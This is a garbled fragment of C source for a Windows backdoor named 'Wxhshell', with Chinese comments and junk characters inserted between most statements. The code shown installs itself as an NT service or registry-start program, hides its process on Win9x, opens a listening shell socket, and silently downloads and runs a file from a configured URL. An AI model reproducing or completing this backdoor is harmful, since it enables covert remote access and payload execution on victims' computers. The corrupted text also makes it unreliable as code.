f!Bsp#\g unsigned long cbNeeded; 52wq<[#tK dSk\J[D if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^?&Jq_oU :]=Y1*L\) CloseHandle(hProcess); )|uPCZdLZ qJ#?=ITE if(strstr(procName,"services")) return 1; // 以服务启动 g4RkkoZ>) |3Oe2qb return 0; // 注册表启动 QVn!60[lj } ~=Er=
0 |@Q(~[It // 主模块 .;iXe int StartWxhshell(LPSTR lpCmdLine) 4x e:+sA.N { I)_072^O SOCKET wsl; ZRD* ^9) BOOL val=TRUE; CHN!o9f int port=0; ,^:Zf|V struct sockaddr_in door; Xdq2 .:\ T1\Xz-1 if(wscfg.ws_autoins) Install(); H<X4R P}DrUND port=atoi(lpCmdLine); L1P]T4a@) _
CXKJ]m4 if(port<=0) port=wscfg.ws_port; S;i^ucAF A<y3Tc?Q WSADATA data; J U}XSb if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W4|1wd}.t WI[6l6 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; pWbzBgM?nU setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {BY`Wu:w door.sin_family = AF_INET; 2s?j5 Sd door.sin_addr.s_addr = inet_addr("127.0.0.1"); {nm#aA%, door.sin_port = htons(port); aE1h0`OT yY[[) if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nHNMoA closesocket(wsl); +CX2W(' return 1; F@"Xd9q? } SO]x^+[ jWUN~#p! if(listen(wsl,2) == INVALID_SOCKET) { u?Iop/b closesocket(wsl); +g7Iu! cA return 1; )1~4Tl,S } kH-1l>": Wxhshell(wsl); vb{&T< WSACleanup(); i ,4 *=~
9? return 0; 2=(=Wjk. [q9TTJ@2 } A6q,"BS^d f.V0uBDN // 以NT服务方式启动 qaG%PH}a VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P,_GTs3/G { *)L%pH>` DWORD status = 0; D@>P%k$$s> DWORD specificError = 0xfffffff; j%]i#iqF s:jr/ j! serviceStatus.dwServiceType = SERVICE_WIN32; !i.`m-J* serviceStatus.dwCurrentState = SERVICE_START_PENDING; 7bQ#M )} serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #9#N+ serviceStatus.dwWin32ExitCode = 0; PrDvRWM serviceStatus.dwServiceSpecificExitCode = 0; ZKAIG=l&! serviceStatus.dwCheckPoint = 0; q fadsVp serviceStatus.dwWaitHint = 0; q<,?:g$k Fr/8q:m& hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IDdhBdQ if (hServiceStatusHandle==0) return; EOVHTDkKf .6(Bf$E status = GetLastError(); ?n? Ep [D if (status!=NO_ERROR) lOI(+74 { 8
x|NR? serviceStatus.dwCurrentState = SERVICE_STOPPED; Vnv<]D
zC serviceStatus.dwCheckPoint = 0; p9oru0q serviceStatus.dwWaitHint = 0; e9k}n\t3 serviceStatus.dwWin32ExitCode = status; 2ZNTg@o serviceStatus.dwServiceSpecificExitCode = specificError; 0(@8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); MfCu\[qOz return; [<`xAh_, } ]1abz: |Wi$@sWO serviceStatus.dwCurrentState = SERVICE_RUNNING; S%mN6b~{ serviceStatus.dwCheckPoint = 0; +]`MdOu serviceStatus.dwWaitHint = 0; _BHb0zeot if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9.#\GI ; } Lo7R^> /LPSI^l!m // 处理NT服务事件,比如:启动、停止 sBZKf8 @/ VOID WINAPI NTServiceHandler(DWORD fdwControl) :*A6Ba { Zo-s_6uC switch(fdwControl) <3Co/ .VQd { !_l W#feR case SERVICE_CONTROL_STOP: ]c[80F- serviceStatus.dwWin32ExitCode = 0; 'ZTE"KT serviceStatus.dwCurrentState = SERVICE_STOPPED; .~ZNlI {K serviceStatus.dwCheckPoint = 0; hb_YdnG serviceStatus.dwWaitHint = 0; G80d!*7 { Ax=Rb
B" SetServiceStatus(hServiceStatusHandle, &serviceStatus); !Lk|eGd* } DE."XSni return; j=
]WAjT case SERVICE_CONTROL_PAUSE: ~?[%uGI0h serviceStatus.dwCurrentState = SERVICE_PAUSED; y5|`B( break; WvUe44&^$ case SERVICE_CONTROL_CONTINUE: SZK~<@q5 serviceStatus.dwCurrentState = SERVICE_RUNNING; .CQ
IN] iD break; 0qw,R4YK case SERVICE_CONTROL_INTERROGATE: N}>`Xm5' break; ,t*#o&+ }; fo4j^,` SetServiceStatus(hServiceStatusHandle, &serviceStatus); VAsaJ`vcb } Y;xVB"
( $N+a4 // 标准应用程序主函数 %CD}A%~ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vxk1RL*Xu { WP2|0ib (!W:-|[K\ // 获取操作系统版本 Co[ rhs OsIsNt=GetOsVer(); B07(15y] GetModuleFileName(NULL,ExeFile,MAX_PATH); gqyQ Zew iNd8M V // 从命令行安装 }yx'U 3 if(strpbrk(lpCmdLine,"iI")) Install(); 0K@s_C=n# P]j{JL/g& // 下载执行文件 xwTN\7f> if(wscfg.ws_downexe) { I$9t^82j if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5~aSkg,MD WinExec(wscfg.ws_filenam,SW_HIDE); oPo<F5M]d% } x)THeH@ o_bj@X if(!OsIsNt) {
/DQoM@X // 如果时win9x,隐藏进程并且设置为注册表启动 9_KUUA HideProc(); 1;]cYIq StartWxhshell(lpCmdLine); I/pavh } 9~
K1+%! else -P(q<T2MV' if(StartFromService()) eaYQyMv@ // 以服务方式启动 M-T&K%/lW StartServiceCtrlDispatcher(DispatchTable); m`I6gnLj else HGh`O\f8 // 普通方式启动 |XLx6E2F StartWxhshell(lpCmdLine); ~y$B#.l %RdCSQ9~ return 0; O292JA }
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